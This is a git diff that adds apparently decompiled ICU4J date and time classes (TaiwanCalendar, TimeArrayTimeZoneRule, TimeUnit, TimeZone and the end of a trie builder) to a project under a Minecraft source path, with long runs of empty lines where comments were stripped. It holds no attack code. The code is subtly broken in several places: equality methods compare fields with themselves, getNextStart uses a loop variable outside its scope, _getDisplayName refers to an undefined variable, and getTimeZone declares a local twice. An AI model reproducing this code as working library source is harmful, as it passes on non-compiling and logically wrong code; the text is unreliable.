+  
+  private static final class BranchHeadNode extends StringTrieBuilder.ValueNode
+  {
+    private int length;
+    private StringTrieBuilder.Node next;
+    
+    public BranchHeadNode(int len, StringTrieBuilder.Node subNode)
+    {
+      length = len;
+      next = subNode;
+    }
+    
+    public int hashCode() {
+      return (248302782 + length) * 37 + next.hashCode();
+    }
+    
+    public boolean equals(Object other) {
+      if (this == other) {
+        return true;
+      }
+      if (!super.equals(other)) {
+        return false;
+      }
+      BranchHeadNode o = (BranchHeadNode)other;
+      return (length == length) && (next == next);
+    }
+    
+    public int markRightEdgesFirst(int edgeNumber) {
+      if (offset == 0) {
+        offset = (edgeNumber = next.markRightEdgesFirst(edgeNumber));
+      }
+      return edgeNumber;
+    }
+    
+    public void write(StringTrieBuilder builder) {
+      next.write(builder);
+      if (length <= builder.getMinLinearMatch()) {
+        offset = builder.writeValueAndType(hasValue, value, length - 1);
+      } else {
+        builder.write(length - 1);
+        offset = builder.writeValueAndType(hasValue, value, 0);
+      }
+    }
+  }
+  
+
+
+  private ValueNode createSuffixNode(CharSequence s, int start, int sValue)
+  {
+    ValueNode node = registerFinalValue(sValue);
+    if (start < s.length()) {
+      int offset = strings.length();
+      strings.append(s, start, s.length());
+      node = new LinearMatchNode(strings, offset, s.length() - start, node);
+    }
+    return node;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  protected abstract boolean matchNodesCanHaveValues();
+  
+
+  /**
+   * @deprecated
+   */
+  protected abstract int getMaxBranchLinearSubNodeLength();
+  
+  /**
+   * @deprecated
+   */
+  protected abstract int getMinLinearMatch();
+  
+  /**
+   * @deprecated
+   */
+  protected abstract int getMaxLinearMatchLength();
+  
+  /**
+   * @deprecated
+   */
+  protected abstract int write(int paramInt);
+  
+  /**
+   * @deprecated
+   */
+  protected abstract int write(int paramInt1, int paramInt2);
+  
+  /**
+   * @deprecated
+   */
+  protected abstract int writeValueAndFinal(int paramInt, boolean paramBoolean);
+  
+  /**
+   * @deprecated
+   */
+  protected abstract int writeValueAndType(boolean paramBoolean, int paramInt1, int paramInt2);
+  
+  /**
+   * @deprecated
+   */
+  protected abstract int writeDeltaTo(int paramInt);
+  
+  private static enum State
+  {
+    ADDING,  BUILDING_FAST,  BUILDING_SMALL,  BUILT;
+    private State() {} }
+  private State state = State.ADDING;
+  
+
+
+  /**
+   * @deprecated
+   */
+  protected StringBuilder strings = new StringBuilder();
+  
+  private Node root;
+  
+  private HashMap<Node, Node> nodes = new HashMap();
+  private ValueNode lookupFinalValueNode = new ValueNode();
+}
diff --git a/src/minecraft/com/ibm/icu/util/TaiwanCalendar.java b/src/minecraft/com/ibm/icu/util/TaiwanCalendar.java
new file mode 100644
index 0000000..986c4a3
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/TaiwanCalendar.java
@@ -0,0 +1,252 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TaiwanCalendar
+  extends GregorianCalendar
+{
+  private static final long serialVersionUID = 2583005278132380631L;
+  public static final int BEFORE_MINGUO = 0;
+  public static final int MINGUO = 1;
+  private static final int Taiwan_ERA_START = 1911;
+  private static final int GREGORIAN_EPOCH = 1970;
+  
+  public TaiwanCalendar() {}
+  
+  public TaiwanCalendar(TimeZone zone)
+  {
+    super(zone);
+  }
+  
+
+
+
+
+
+
+  public TaiwanCalendar(Locale aLocale)
+  {
+    super(aLocale);
+  }
+  
+
+
+
+
+
+
+  public TaiwanCalendar(ULocale locale)
+  {
+    super(locale);
+  }
+  
+
+
+
+
+
+
+
+  public TaiwanCalendar(TimeZone zone, Locale aLocale)
+  {
+    super(zone, aLocale);
+  }
+  
+
+
+
+
+
+
+
+  public TaiwanCalendar(TimeZone zone, ULocale locale)
+  {
+    super(zone, locale);
+  }
+  
+
+
+
+
+
+
+  public TaiwanCalendar(Date date)
+  {
+    this();
+    setTime(date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public TaiwanCalendar(int year, int month, int date)
+  {
+    super(year, month, date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TaiwanCalendar(int year, int month, int date, int hour, int minute, int second)
+  {
+    super(year, month, date, hour, minute, second);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int handleGetExtendedYear()
+  {
+    int year = 1970;
+    if ((newerField(19, 1) == 19) && (newerField(19, 0) == 19))
+    {
+      year = internalGet(19, 1970);
+    } else {
+      int era = internalGet(0, 1);
+      if (era == 1) {
+        year = internalGet(1, 1) + 1911;
+      } else {
+        year = 1 - internalGet(1, 1) + 1911;
+      }
+    }
+    return year;
+  }
+  
+
+
+
+  protected void handleComputeFields(int julianDay)
+  {
+    super.handleComputeFields(julianDay);
+    int y = internalGet(19) - 1911;
+    if (y > 0) {
+      internalSet(0, 1);
+      internalSet(1, y);
+    } else {
+      internalSet(0, 0);
+      internalSet(1, 1 - y);
+    }
+  }
+  
+
+
+
+
+
+  protected int handleGetLimit(int field, int limitType)
+  {
+    if (field == 0) {
+      if ((limitType == 0) || (limitType == 1)) {
+        return 0;
+      }
+      return 1;
+    }
+    
+    return super.handleGetLimit(field, limitType);
+  }
+  
+
+
+
+  public String getType()
+  {
+    return "roc";
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/TimeArrayTimeZoneRule.java b/src/minecraft/com/ibm/icu/util/TimeArrayTimeZoneRule.java
new file mode 100644
index 0000000..95e446e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/TimeArrayTimeZoneRule.java
@@ -0,0 +1,182 @@
+package com.ibm.icu.util;
+
+import java.util.Arrays;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TimeArrayTimeZoneRule
+  extends TimeZoneRule
+{
+  private static final long serialVersionUID = -1117109130077415245L;
+  private final long[] startTimes;
+  private final int timeType;
+  
+  public TimeArrayTimeZoneRule(String name, int rawOffset, int dstSavings, long[] startTimes, int timeType)
+  {
+    super(name, rawOffset, dstSavings);
+    if ((startTimes == null) || (startTimes.length == 0)) {
+      throw new IllegalArgumentException("No start times are specified.");
+    }
+    this.startTimes = ((long[])startTimes.clone());
+    Arrays.sort(this.startTimes);
+    
+    this.timeType = timeType;
+  }
+  
+
+
+
+
+
+
+  public long[] getStartTimes()
+  {
+    return (long[])startTimes.clone();
+  }
+  
+
+
+
+
+
+
+
+  public int getTimeType()
+  {
+    return timeType;
+  }
+  
+
+
+
+  public Date getFirstStart(int prevRawOffset, int prevDSTSavings)
+  {
+    return new Date(getUTC(startTimes[0], prevRawOffset, prevDSTSavings));
+  }
+  
+
+
+
+  public Date getFinalStart(int prevRawOffset, int prevDSTSavings)
+  {
+    return new Date(getUTC(startTimes[(startTimes.length - 1)], prevRawOffset, prevDSTSavings));
+  }
+  
+
+
+
+  public Date getNextStart(long base, int prevOffset, int prevDSTSavings, boolean inclusive)
+  {
+    for (int i = startTimes.length - 1; 
+        i >= 0; i--) {
+      long time = getUTC(startTimes[i], prevOffset, prevDSTSavings);
+      if ((time < base) || ((!inclusive) && (time == base))) {
+        break;
+      }
+    }
+    if (i == startTimes.length - 1) {
+      return null;
+    }
+    return new Date(getUTC(startTimes[(i + 1)], prevOffset, prevDSTSavings));
+  }
+  
+
+
+
+  public Date getPreviousStart(long base, int prevOffset, int prevDSTSavings, boolean inclusive)
+  {
+    for (int i = startTimes.length - 1; 
+        i >= 0; i--) {
+      long time = getUTC(startTimes[i], prevOffset, prevDSTSavings);
+      if ((time < base) || ((inclusive) && (time == base))) {
+        return new Date(time);
+      }
+    }
+    return null;
+  }
+  
+
+
+
+  public boolean isEquivalentTo(TimeZoneRule other)
+  {
+    if (!(other instanceof TimeArrayTimeZoneRule)) {
+      return false;
+    }
+    if ((timeType == timeType) && (Arrays.equals(startTimes, startTimes)))
+    {
+      return super.isEquivalentTo(other);
+    }
+    return false;
+  }
+  
+
+
+
+
+  public boolean isTransitionRule()
+  {
+    return true;
+  }
+  
+  private long getUTC(long time, int raw, int dst)
+  {
+    if (timeType != 2) {
+      time -= raw;
+    }
+    if (timeType == 0) {
+      time -= dst;
+    }
+    return time;
+  }
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(super.toString());
+    buf.append(", timeType=");
+    buf.append(timeType);
+    buf.append(", startTimes=[");
+    for (int i = 0; i < startTimes.length; i++) {
+      if (i != 0) {
+        buf.append(", ");
+      }
+      buf.append(Long.toString(startTimes[i]));
+    }
+    buf.append("]");
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/TimeUnit.java b/src/minecraft/com/ibm/icu/util/TimeUnit.java
new file mode 100644
index 0000000..c516189
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/TimeUnit.java
@@ -0,0 +1,60 @@
+package com.ibm.icu.util;
+
+
+
+
+
+
+
+
+
+public class TimeUnit
+  extends MeasureUnit
+{
+  private String name;
+  
+
+
+
+
+
+
+  private static TimeUnit[] values = new TimeUnit[7];
+  private static int valueCount = 0;
+  
+
+
+
+
+
+  public static TimeUnit SECOND = new TimeUnit("second");
+  public static TimeUnit MINUTE = new TimeUnit("minute");
+  public static TimeUnit HOUR = new TimeUnit("hour");
+  public static TimeUnit DAY = new TimeUnit("day");
+  public static TimeUnit WEEK = new TimeUnit("week");
+  public static TimeUnit MONTH = new TimeUnit("month");
+  public static TimeUnit YEAR = new TimeUnit("year");
+  
+  private TimeUnit(String name) {
+    this.name = name;
+    values[(valueCount++)] = this;
+  }
+  
+
+
+
+  public static TimeUnit[] values()
+  {
+    return (TimeUnit[])values.clone();
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return name;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/TimeUnitAmount.java b/src/minecraft/com/ibm/icu/util/TimeUnitAmount.java
new file mode 100644
index 0000000..9c1243c
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/TimeUnitAmount.java
@@ -0,0 +1,42 @@
+package com.ibm.icu.util;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TimeUnitAmount
+  extends Measure
+{
+  public TimeUnitAmount(Number number, TimeUnit unit)
+  {
+    super(number, unit);
+  }
+  
+
+
+
+  public TimeUnitAmount(double number, TimeUnit unit)
+  {
+    super(new Double(number), unit);
+  }
+  
+
+
+
+  public TimeUnit getTimeUnit()
+  {
+    return (TimeUnit)getUnit();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/TimeZone.java b/src/minecraft/com/ibm/icu/util/TimeZone.java
new file mode 100644
index 0000000..488b23d
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/TimeZone.java
@@ -0,0 +1,2217 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.Grego;
+import com.ibm.icu.impl.ICUConfig;
+import com.ibm.icu.impl.JavaTimeZone;
+import com.ibm.icu.impl.OlsonTimeZone;
+import com.ibm.icu.impl.TimeZoneAdapter;
+import com.ibm.icu.impl.ZoneMeta;
+import com.ibm.icu.text.TimeZoneFormat;
+import com.ibm.icu.text.TimeZoneFormat.Style;
+import com.ibm.icu.text.TimeZoneFormat.TimeType;
+import com.ibm.icu.text.TimeZoneNames;
+import com.ibm.icu.text.TimeZoneNames.NameType;
+import java.io.Serializable;
+import java.util.Date;
+import java.util.Locale;
+import java.util.Set;
+import java.util.logging.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TimeZone
+  implements Serializable, Cloneable, Freezable<TimeZone>
+{
+  private static final Logger LOGGER;
+  private static final long serialVersionUID = -744942128318337471L;
+  public static final int TIMEZONE_ICU = 0;
+  public static final int TIMEZONE_JDK = 1;
+  public static final int SHORT = 0;
+  public static final int LONG = 1;
+  public static final int SHORT_GENERIC = 2;
+  public static final int LONG_GENERIC = 3;
+  public static final int SHORT_GMT = 4;
+  public static final int LONG_GMT = 5;
+  public static final int SHORT_COMMONLY_USED = 6;
+  public static final int GENERIC_LOCATION = 7;
+  public static final String UNKNOWN_ZONE_ID = "Etc/Unknown";
+  static final String GMT_ZONE_ID = "Etc/GMT";
+  public static final TimeZone UNKNOWN_ZONE;
+  public static final TimeZone GMT_ZONE;
+  private String ID;
+  private static TimeZone defaultZone;
+  private static String TZDATA_VERSION;
+  private static int TZ_IMPL;
+  private static final String TZIMPL_CONFIG_KEY = "com.ibm.icu.util.TimeZone.DefaultTimeZoneType";
+  private static final String TZIMPL_CONFIG_ICU = "ICU";
+  private static final String TZIMPL_CONFIG_JDK = "JDK";
+  
+  public TimeZone() {}
+  
+  /**
+   * @deprecated
+   */
+  protected TimeZone(String ID)
+  {
+    if (ID == null) {
+      throw new NullPointerException();
+    }
+    this.ID = ID;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract int getOffset(int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static enum SystemTimeZoneType
+  {
+    ANY, 
+    
+
+
+
+
+
+    CANONICAL, 
+    
+
+
+
+
+
+    CANONICAL_LOCATION;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private SystemTimeZoneType() {}
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getOffset(long date)
+  {
+    int[] result = new int[2];
+    getOffset(date, false, result);
+    return result[0] + result[1];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void getOffset(long date, boolean local, int[] offsets)
+  {
+    offsets[0] = getRawOffset();
+    if (!local) {
+      date += offsets[0];
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    int[] fields = new int[6];
+    for (int pass = 0;; pass++) {
+      Grego.timeToFields(date, fields);
+      offsets[1] = (getOffset(1, fields[0], fields[1], fields[2], fields[3], fields[5]) - offsets[0]);
+      
+
+
+      if ((pass != 0) || (!local) || (offsets[1] == 0)) {
+        break;
+      }
+      
+      date -= offsets[1];
+    }
+  }
+  
+
+
+
+
+
+
+  public abstract void setRawOffset(int paramInt);
+  
+
+
+
+
+
+  public abstract int getRawOffset();
+  
+
+
+
+
+
+  public String getID()
+  {
+    return ID;
+  }
+  
+
+
+
+
+
+  public void setID(String ID)
+  {
+    if (ID == null) {
+      throw new NullPointerException();
+    }
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen TimeZone instance.");
+    }
+    this.ID = ID;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final String getDisplayName()
+  {
+    return _getDisplayName(3, false, ULocale.getDefault(ULocale.Category.DISPLAY));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final String getDisplayName(Locale locale)
+  {
+    return _getDisplayName(3, false, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final String getDisplayName(ULocale locale)
+  {
+    return _getDisplayName(3, false, locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final String getDisplayName(boolean daylight, int style)
+  {
+    return getDisplayName(daylight, style, ULocale.getDefault(ULocale.Category.DISPLAY));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getDisplayName(boolean daylight, int style, Locale locale)
+  {
+    return getDisplayName(daylight, style, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getDisplayName(boolean daylight, int style, ULocale locale)
+  {
+    if ((style < 0) || (style > 7)) {
+      throw new IllegalArgumentException("Illegal style: " + style);
+    }
+    
+    return _getDisplayName(style, daylight, locale);
+  }
+  
+
+
+
+
+  private String _getDisplayName(int style, boolean daylight, ULocale locale)
+  {
+    if (locale == null) {
+      throw new NullPointerException("locale is null");
+    }
+    
+    String result = null;
+    
+    if ((style == 7) || (style == 3) || (style == 2))
+    {
+      TimeZoneFormat tzfmt = TimeZoneFormat.getInstance(locale);
+      long date = System.currentTimeMillis();
+      Output<TimeZoneFormat.TimeType> timeType = new Output(TimeZoneFormat.TimeType.UNKNOWN);
+      
+      switch (style) {
+      case 7: 
+        result = tzfmt.format(TimeZoneFormat.Style.GENERIC_LOCATION, this, date, timeType);
+        break;
+      case 3: 
+        result = tzfmt.format(TimeZoneFormat.Style.GENERIC_LONG, this, date, timeType);
+        break;
+      case 2: 
+        result = tzfmt.format(TimeZoneFormat.Style.GENERIC_SHORT, this, date, timeType);
+      }
+      
+      
+
+
+
+      if (((daylight) && (value == TimeZoneFormat.TimeType.STANDARD)) || ((!daylight) && (value == TimeZoneFormat.TimeType.DAYLIGHT)))
+      {
+        int offset = daylight ? getRawOffset() + getDSTSavings() : getRawOffset();
+        result = style == 2 ? tzfmt.formatOffsetShortLocalizedGMT(offset) : tzfmt.formatOffsetLocalizedGMT(offset);
+      }
+      
+    }
+    else if ((style == 5) || (style == 4))
+    {
+      TimeZoneFormat tzfmt = TimeZoneFormat.getInstance(locale);
+      int offset = (daylight) && (useDaylightTime()) ? getRawOffset() + getDSTSavings() : getRawOffset();
+      switch (style) {
+      case 5: 
+        result = tzfmt.formatOffsetLocalizedGMT(offset);
+        break;
+      case 4: 
+        result = tzfmt.formatOffsetISO8601Basic(offset, false, false, false);
+      }
+    }
+    else
+    {
+      assert ((style == 1) || (style == 0) || (style == 6));
+      
+
+      long date = System.currentTimeMillis();
+      TimeZoneNames tznames = TimeZoneNames.getInstance(locale);
+      TimeZoneNames.NameType nameType = null;
+      switch (style) {
+      case 1: 
+        nameType = daylight ? TimeZoneNames.NameType.LONG_DAYLIGHT : TimeZoneNames.NameType.LONG_STANDARD;
+        break;
+      case 0: 
+      case 6: 
+        nameType = daylight ? TimeZoneNames.NameType.SHORT_DAYLIGHT : TimeZoneNames.NameType.SHORT_STANDARD;
+      }
+      
+      result = tznames.getDisplayName(ZoneMeta.getCanonicalCLDRID(this), nameType, date);
+      if (result == null)
+      {
+        TimeZoneFormat tzfmt = TimeZoneFormat.getInstance(locale);
+        int offset = (daylight) && (useDaylightTime()) ? getRawOffset() + getDSTSavings() : getRawOffset();
+        result = style == 1 ? tzfmt.formatOffsetLocalizedGMT(offset) : tzfmt.formatOffsetShortLocalizedGMT(offset);
+      }
+    }
+    
+    assert (result != null);
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getDSTSavings()
+  {
+    if (useDaylightTime()) {
+      return 3600000;
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract boolean useDaylightTime();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean observesDaylightTime()
+  {
+    return (useDaylightTime()) || (inDaylightTime(new Date()));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public abstract boolean inDaylightTime(Date paramDate);
+  
+
+
+
+
+
+
+
+
+
+  public static TimeZone getTimeZone(String ID)
+  {
+    return getTimeZone(ID, TZ_IMPL, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static TimeZone getFrozenTimeZone(String ID)
+  {
+    return getTimeZone(ID, TZ_IMPL, true);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static TimeZone getTimeZone(String ID, int type)
+  {
+    return getTimeZone(ID, type, false);
+  }
+  
+
+
+
+
+  private static synchronized TimeZone getTimeZone(String ID, int type, boolean frozen)
+  {
+    TimeZone result;
+    
+
+
+    if (type == 1) {
+      TimeZone result = JavaTimeZone.createTimeZone(ID);
+      if (result != null) {
+        return frozen ? result.freeze() : result;
+
+      }
+      
+
+
+    }
+    else
+    {
+
+
+      if (ID == null) {
+        throw new NullPointerException();
+      }
+      result = ZoneMeta.getSystemTimeZone(ID);
+    }
+    
+    if (result == null) {
+      result = ZoneMeta.getCustomTimeZone(ID);
+    }
+    
+    if (result == null) {
+      LOGGER.fine("\"" + ID + "\" is a bogus id so timezone is falling back to Etc/Unknown(GMT).");
+      result = UNKNOWN_ZONE;
+    }
+    
+    return frozen ? result : result.cloneAsThawed();
+  }
+  
+
+
+
+
+
+  public static synchronized void setDefaultTimeZoneType(int type)
+  {
+    if ((type != 0) && (type != 1)) {
+      throw new IllegalArgumentException("Invalid timezone type");
+    }
+    TZ_IMPL = type;
+  }
+  
+
+
+
+
+
+  public static int getDefaultTimeZoneType()
+  {
+    return TZ_IMPL;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Set<String> getAvailableIDs(SystemTimeZoneType zoneType, String region, Integer rawOffset)
+  {
+    return ZoneMeta.getAvailableIDs(zoneType, region, rawOffset);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static String[] getAvailableIDs(int rawOffset)
+  {
+    Set<String> ids = getAvailableIDs(SystemTimeZoneType.ANY, null, Integer.valueOf(rawOffset));
+    return (String[])ids.toArray(new String[0]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String[] getAvailableIDs(String country)
+  {
+    Set<String> ids = getAvailableIDs(SystemTimeZoneType.ANY, country, null);
+    return (String[])ids.toArray(new String[0]);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String[] getAvailableIDs()
+  {
+    Set<String> ids = getAvailableIDs(SystemTimeZoneType.ANY, null, null);
+    return (String[])ids.toArray(new String[0]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int countEquivalentIDs(String id)
+  {
+    return ZoneMeta.countEquivalentIDs(id);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String getEquivalentID(String id, int index)
+  {
+    return ZoneMeta.getEquivalentID(id, index);
+  }
+  
+
+
+
+
+
+
+  public static synchronized TimeZone getDefault()
+  {
+    if (defaultZone == null) {
+      if (TZ_IMPL == 1) {
+        defaultZone = new JavaTimeZone();
+      } else {
+        java.util.TimeZone temp = java.util.TimeZone.getDefault();
+        defaultZone = getFrozenTimeZone(temp.getID());
+      }
+    }
+    return defaultZone.cloneAsThawed();
+  }
+  
+
+
+
+
+
+
+
+  public static synchronized void setDefault(TimeZone tz)
+  {
+    defaultZone = tz;
+    java.util.TimeZone jdkZone = null;
+    if ((defaultZone instanceof JavaTimeZone)) {
+      jdkZone = ((JavaTimeZone)defaultZone).unwrap();
+
+
+
+    }
+    else if (tz != null) {
+      if ((tz instanceof OlsonTimeZone))
+      {
+
+
+
+
+
+
+
+        String icuID = tz.getID();
+        jdkZone = java.util.TimeZone.getTimeZone(icuID);
+        if (!icuID.equals(jdkZone.getID()))
+        {
+          jdkZone = null;
+        }
+      }
+      if (jdkZone == null) {
+        jdkZone = TimeZoneAdapter.wrap(tz);
+      }
+    }
+    
+    java.util.TimeZone.setDefault(jdkZone);
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean hasSameRules(TimeZone other)
+  {
+    return (other != null) && (getRawOffset() == other.getRawOffset()) && (useDaylightTime() == other.useDaylightTime());
+  }
+  
+
+
+
+
+
+  public Object clone()
+  {
+    if (isFrozen()) {
+      return this;
+    }
+    return cloneAsThawed();
+  }
+  
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (this == obj) return true;
+    if ((obj == null) || (getClass() != obj.getClass())) return false;
+    return ID.equals(ID);
+  }
+  
+
+
+
+  public int hashCode()
+  {
+    return ID.hashCode();
+  }
+  
+
+
+
+
+
+
+
+
+  public static synchronized String getTZDataVersion()
+  {
+    if (TZDATA_VERSION == null) {
+      UResourceBundle tzbundle = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "zoneinfo64");
+      
+      TZDATA_VERSION = tzbundle.getString("TZVersion");
+    }
+    return TZDATA_VERSION;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String getCanonicalID(String id)
+  {
+    return getCanonicalID(id, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static String getCanonicalID(String id, boolean[] isSystemID)
+  {
+    String canonicalID = null;
+    boolean systemTzid = false;
+    if ((id != null) && (id.length() != 0)) {
+      if (id.equals("Etc/Unknown"))
+      {
+        canonicalID = "Etc/Unknown";
+        systemTzid = false;
+      } else {
+        canonicalID = ZoneMeta.getCanonicalCLDRID(id);
+        if (canonicalID != null) {
+          systemTzid = true;
+        } else {
+          canonicalID = ZoneMeta.getCustomID(id);
+        }
+      }
+    }
+    if (isSystemID != null) {
+      isSystemID[0] = systemTzid;
+    }
+    return canonicalID;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String getRegion(String id)
+  {
+    String region = null;
+    
+
+    if (!id.equals("Etc/Unknown")) {
+      region = ZoneMeta.getRegion(id);
+    }
+    if (region == null)
+    {
+      throw new IllegalArgumentException("Unknown system zone id: " + id);
+    }
+    return region;
+  }
+  
+
+
+
+
+
+  public boolean isFrozen()
+  {
+    return false;
+  }
+  
+
+
+
+  public TimeZone freeze()
+  {
+    throw new UnsupportedOperationException("Needs to be implemented by the subclass.");
+  }
+  
+
+
+  public TimeZone cloneAsThawed()
+  {
+    try
+    {
+      return (TimeZone)super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+  static
+  {
+    LOGGER = Logger.getLogger("com.ibm.icu.util.TimeZone");
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    UNKNOWN_ZONE = new SimpleTimeZone(0, "Etc/Unknown").freeze();
+    
+
+
+
+
+
+    GMT_ZONE = new SimpleTimeZone(0, "Etc/GMT").freeze();
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
